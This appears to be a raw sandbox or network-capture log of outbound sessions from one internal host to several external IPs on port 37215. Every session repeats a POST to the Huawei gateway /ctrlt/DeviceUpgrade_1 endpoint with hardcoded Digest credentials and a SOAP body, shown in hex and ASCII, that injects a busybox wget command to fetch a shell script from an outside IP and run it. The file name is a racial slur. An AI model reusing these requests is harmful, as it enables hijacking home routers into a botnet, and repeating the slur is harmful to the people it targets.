Feb 19, 2024 18:36:31.499847889 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:02.983442068 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.23	42482	156.253.44.117	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:02.327653885 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:05.007555008 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:08.207037926 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:14.606128931 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:27.404475927 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:54.792639017 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.23	32888	45.123.199.57	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:03.732708931 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.23	33688	45.195.116.186	37215

Timestamp	Bytes transferred	Direction	Data
